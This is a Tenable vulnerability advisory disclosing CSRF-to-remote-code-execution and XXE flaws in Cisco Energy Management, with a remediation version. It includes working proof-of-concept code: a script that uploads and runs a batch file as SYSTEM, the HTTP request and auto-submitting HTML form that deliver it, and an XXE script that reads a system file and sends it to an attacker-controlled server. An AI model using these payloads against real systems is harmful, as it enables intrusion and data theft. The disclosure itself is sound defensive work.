Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Cisco Energy Management Suite Multiple Vulnerabilities

Critical

Synopsis

Tenable has discovered multiple vulnerabilities in Cisco Energy Management.

CVE-2018-15445: Cross-Site Request Forgery

Cisco Energy Management is largely susceptible to Cross-Site Request Forgery (CSRF) throughout the application and its underlying services. Anti-forgery tokens are not utilized to ensure that HTTP requests have originated from within the application or its connected components.

An attacker may abuse this vulnerability to gain remote code execution with SYSTEM privileges. In order to successfully exploit this weakness, the attacker must first craft a malicious page, then convince an authenticated application user to visit the URL (e.g. click a link).

Additionally, the victim user must have sufficient privileges. Scripting and API access are required.

Specifically, a working exploit can be crafted using the following methodology. Via the use of custom scripts, a script can be constructed like so. First, all Controller IDs can be retrieved by querying the object store. The controller ID is used to construct a subsequent API call. Next, a Windows batch file (.bat) is uploaded to the "commands" folder. This file can contain arbitrary system commands to be executed. In order to upload the file, the API is invoked from within the script using the "api_post" function. After the batch file uploads, the "runCommandEx" function can be used to execute the batch file.

Please note that this logic can be contained within just one HTTP POST request.

Proof of Concept

Below is a series of Proof of Concept (PoC) code.

Be sure to update any IP addresses and/or 'auth' tokens. When the exploit works, a file named 'runme.bat' will be created in 'C:\Program Files\Cisco Energy Management Controller\service\commands', and 'calc.exe' will be running with SYSTEM privileges.

Custom JavaScript:

// get controller id
var devices = queryObjects("objecttype=orgfolder");
var jemid = devices[0]["jemid"];
// note that the devices could be looped to execute on all controllers
if (jemid) {
   var fname = "runme.bat";
   var url = "controllers/"+jemid+"/uploadFile?overwrite=true&folder=commands&name="+fname;
   var batchFile = base64Encode("systeminfo"); // batch file contents
   var response = api_post(url, batchFile);
   if (response.result) {
      var cmdResult = runCommandEx(fname);
      if (cmdResult) {
         log(cmdResult["stdout"]);
      }
   }
}

The following HTTP request shows the above code being POST’ed to CEM.

POST /central/data/jemwscall/executeScriptAsync HTTP/1.1
Host: 192.168.1.194
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.194/
Content-Type: application/json
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 685
Cookie: user=name=; PLAY_LANG=en; auth=2c63d52039194dde8571c745c7431322
Connection: close

{"script":"// get controller id\nvar devices = queryObjects(\"objecttype=orgfolder\");\nvar jemid = devices[0][\"jemid\"];\n// note that the devices could be looped to execute on all controllers\nif (jemid) {\n   var fname = \"runme.bat\";\n   var url = \"controllers/\"+jemid+\"/uploadFile?overwrite=true&folder=commands&name=\"+fname;\n   var batchFile = base64Encode(\"calc\"); // batch file contents\n   var response = api_post(url, batchFile);\n   if (response.result) {\n      var cmdResult = runCommandEx(fname);\n      if (cmdResult) {\n         log(cmdResult[\"stdout\"]);\n      }\n   }\n}","scriptLabel":"Unnamed Script","async":true,"options":"-s1 -source=JEMScriptDialog"}

This is an HTML form that can be used to send the exploit.

<html>
            <body>
            <form method="POST" enctype="text/plain" action="https://192.168.1.194/central/data/jemwscall/executeScriptAsync">
            <input name='{"script":"var devices=queryObjects(\"objecttype=orgfolder\");var jemid=devices[0][\"jemid\"];if(jemid){var fname=\"runme.bat\";var url=\"controllers/\"+jemid+\"/uploadFile?overwrite=true&folder=commands&name=\"+fname;var batchFile=base64Encode(\"calc\");var response=api_post(url,batchFile);if(response.result){var cmdResult=runCommandEx(fname);if(cmdResult){log(cmdResult[\"stdout\"]);}}}","scriptLabel":"Unnamed Script","async":true,"options":"-s1 -source=JEMScriptDialog", "trash":"' value='"}' />
            <input type="submit" />
            </form>
            </body>
</html>

CVE-2018-15444: Authenticated XML External Entity Vulnerability (XXE)

An XML External Entity (XXE) vulnerability exists in Cisco Energy Management’s scripting feature. This vulnerability can be exploited by an authenticated attacker. The contents of any file may be read from the file system and subsequently exfiltrated. Please note that this vulnerability may be exploited via Cross-Site Request Forgery (CSRF) as well.

In order to successfully exploit this, a malicious user (attacker) must have sufficient privileges. Scripting access is required.

Specifically, the vulnerability exists within the way an 'XmlDoc' is processed during conversion to a JSON using the 'toJson' function. An attacker may abuse this by crafting an XML document containing external entities. These entities may reference files on the file system.

Furthermore, using built-in Networking Scripting functions, the contents of files can be read and sent to a remote, attacker-controlled system.

Proof of Concept

Below is a Proof of Concept (PoC) consisting of a custom script. The PoC will read C:\WINDOWS\win.ini and send the contents, Base64 encoded, to a remote HTTP server. Run the script in the 'Run Script' dialog for a given asset/device.

In order to receive the file contents, be sure to host your own HTTP server and update the IP address to match that of your server. The request path will have to be Base64 decoded once it is received.

include("xml.js");
var xml = '<?xml version="1.0" ?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>';
var doc = new XmlDoc(xml);
var json = doc.toJson("json");

var exfil = base64Encode(json["foo"]);

var config = {
    url : "http://192.168.0.4:8080/"+exfil,
    timeout : 4
};

httpGet(config);

Solution

Upgrade to Cisco Energy Management version 5.2.3.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID
TRA-2018-36
Credit

Chris Lyne

CVSSv2 Base / Temporal Score
9.3 / 7.3
CVSSv2 Vector
AV:N/AC:M/Au:N/C:C/I:C/A:C
Affected Products
Cisco Energy Management 4.4 and 5.2.x < 5.2.3
Risk Factor
Critical

Advisory Timeline

11-09-2018 - [R1] Initial Release
tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today.

NEW - Nessus Expert Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Professional Trial.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web Application Scanning trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.cs Cloud Security.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable.io Container Security

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Try Tenable Lumin

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable.io Vulnerability Management, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable.cs

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now. To learn more about the trial process click here.

Your Tenable.cs Cloud Security trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.io Web Application Scanning.

Contact a Sales Rep to Buy Tenable.cs

Contact a Sales Representative to learn more about Tenable.cs Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

Try Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training